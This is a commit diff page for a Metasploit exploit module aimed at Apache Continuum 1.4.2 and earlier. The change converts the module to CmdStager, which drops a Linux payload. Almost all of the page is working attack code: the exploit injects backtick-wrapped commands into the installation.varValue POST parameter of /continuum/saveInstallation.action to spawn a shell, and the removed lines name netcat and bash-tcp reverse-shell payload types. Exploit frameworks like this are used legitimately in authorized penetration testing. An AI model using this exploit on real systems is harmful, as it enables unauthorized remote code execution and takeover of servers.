Skip to content

Commit ec1248d

Browse files
committed
Convert to CmdStager
1 parent 5adc360 commit ec1248d

File tree

1 file changed

+18
-18
lines changed

1 file changed

+18
-18
lines changed

modules/exploits/linux/http/apache_continuum_cmd_exec.rb

Lines changed: 18 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -8,37 +8,32 @@ class MetasploitModule < Msf::Exploit::Remote
88
Rank = ExcellentRanking
99

1010
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::CmdStager
1112

1213
def initialize(info = {})
1314
super(update_info(info,
14-
'Name' => 'Apache Continuum Arbitrary Command Execution',
15-
'Description' => %q{
15+
'Name' => 'Apache Continuum Arbitrary Command Execution',
16+
'Description' => %q{
1617
This module exploits a command injection in Apache Continuum <= 1.4.2.
1718
By injecting a command into the installation.varValue POST parameter to
1819
/continuum/saveInstallation.action, a shell can be spawned.
1920
},
20-
'Author' => [
21+
'Author' => [
2122
'David Shanahan', # Proof of concept
2223
'wvu' # Metasploit module
2324
],
24-
'References' => [
25+
'References' => [
2526
%w{EDB 39886}
2627
],
27-
'DisclosureDate' => 'Apr 6 2016',
28-
'License' => MSF_LICENSE,
29-
'Platform' => 'unix',
30-
'Arch' => ARCH_CMD,
31-
'Privileged' => false,
32-
'Payload' => {
33-
'Compat' => {
34-
'PayloadType' => 'cmd cmd_bash',
35-
'RequiredCmd' => 'generic netcat bash-tcp'
36-
}
37-
},
38-
'Targets' => [
28+
'DisclosureDate' => 'Apr 6 2016',
29+
'License' => MSF_LICENSE,
30+
'Platform' => 'linux',
31+
'Arch' => [ARCH_X86, ARCH_X86_64],
32+
'Privileged' => false,
33+
'Targets' => [
3934
['Apache Continuum <= 1.4.2', {}]
4035
],
41-
'DefaultTarget' => 0
36+
'DefaultTarget' => 0
4237
))
4338

4439
register_options([
@@ -62,13 +57,18 @@ def check
6257
end
6358

6459
def exploit
60+
print_status('Injecting CmdStager payload...')
61+
execute_cmdstager(flavor: :bourne)
62+
end
63+
64+
def execute_command(cmd, opts = {})
6565
send_request_cgi(
6666
'method' => 'POST',
6767
'uri' => '/continuum/saveInstallation.action',
6868
'vars_post' => {
6969
'installation.name' => Rex::Text.rand_text_alpha(8),
7070
'installation.type' => 'jdk',
71-
'installation.varValue' => '`' + payload.encoded + '`'
71+
'installation.varValue' => '`' + cmd + '`'
7272
}
7373
)
7474
end

0 commit comments

Comments
 (0)